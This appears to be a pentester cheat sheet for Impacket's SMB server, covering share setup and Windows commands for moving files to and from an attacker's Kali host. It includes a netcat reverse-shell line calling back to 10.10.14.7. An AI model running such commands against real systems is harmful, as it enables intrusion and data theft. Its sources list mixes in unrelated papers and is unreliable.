TOOL^:Tools

smbshare

sudo impacket-smbserver share /path/to/share

intermediateupdated 2026-08-10Impacket · OpenSSL

Impacket SMB Share Cheat Sheet

#Impacket #impacket-smbserver #SMB #smbshare

Basic Setup

Start unauthenticated SMB server:

sudo impacket-smbserver share /path/to/share

Start SMB server with SMB2 support (required for modern Windows):

sudo impacket-smbserver share /path/to/share -smb2support

Share current directory:

sudo impacket-smbserver share . -smb2support

Authenticated Setup

With username and password (recommended for Windows 10+):

sudo impacket-smbserver share . -smb2support -username user -password pass123

Windows Access

View the share:

net view \\10.10.14.7
dir \\10.10.14.7\share

Authenticate first (if using credentials):

net use \\10.10.14.7\share /user:user pass123

Copy file TO Kali:

copy file.txt \\10.10.14.7\share\

Copy file FROM Kali:

copy \\10.10.14.7\share\tool.exe C:\Temp\

Execute directly from share:

\\10.10.14.7\share\nc.exe -e cmd.exe 10.10.14.7 4444

Common Options

  • -smb2support - Enable SMB2/3 protocol support
  • -username - Set authentication username
  • -password - Set authentication password
  • -debug - Enable debug output

Troubleshooting

If you get “unauthenticated guest access” errors, restart with authentication enabled .

Sources MDEval: Evaluating and Enhancing Markdown Awareness in Large Language Models https://arxiv.org/pdf/2501.15000v1.pdf Creating a vulnerable node based on the vulnerability MS17-010 http://arxiv.org/pdf/2401.14979.pdf SMoTherSpectre: exploiting speculative execution through port contention http://arxiv.org/pdf/1903.01843.pdf AmberMDrun: A Scripting Tool for Running Amber MD in an Easy Way https://www.mdpi.com/2218-273X/13/4/635/pdf?version=1680263131 SmmPack: Obfuscation for SMM Modules with TPM Sealed Key http://arxiv.org/pdf/2405.04355.pdf iMIV: in-Memory Integrity Verification for NVM http://arxiv.org/pdf/2407.09180.pdf Apptainer Without Setuid https://arxiv.org/pdf/2208.12106.pdf Extracting the Secrets of OpenSSL with RAMBleed https://www.mdpi.com/1424-8220/22/9/3586/pdf?version=1652080720 Impacket Cheatsheet https://rgbwiki.com/Red%20Cell/14.%20Cheatsheets/Tools/Impacket%20Cheatsheet/ Impacket Cheatsheet https://www.blackhillsinfosec.com/impacket-cheatsheet/ Impacket - Offensive Security Cheatsheet https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/ Zamanry/OSCP_Cheatsheet: OSCP Cheatsheet https://github.com/Zamanry/OSCP_Cheatsheet OSCP Cheat Sheet and Command Reference https://casvancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/ Impacket Cheat Sheet for Pentesters https://nerdgigs.blog/2025/06/08/impacket-cheat-sheet-for-pentesters/ Impacket Exec Commands Cheat Sheet Poster https://cdn.13cubed.com/downloads/impacket_exec_commands_cheat_sheet_poster.pdf Impacket https://www.blackhillsinfosec.com/wp-content/uploads/2025/08/CheetSheet_Impacket-1.pdf OSCP Cheat Sheet | PDF https://www.scribd.com/document/693810531/OSCP-Cheat-Sheet File Transfer Cheatsheet For Pentesters https://blog.certcube.com/file-transfer-cheatsheet-for-pentesters/ File Transfer - Offensive Security Cheatsheet https://cheatsheet.haax.fr/windows-systems/exploitation/file_transfer/ SMB Enumeration Cheatsheet | 0xdf hacks stuff - GitLab https://0xdf.gitlab.io/cheatsheets/smb-enum

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.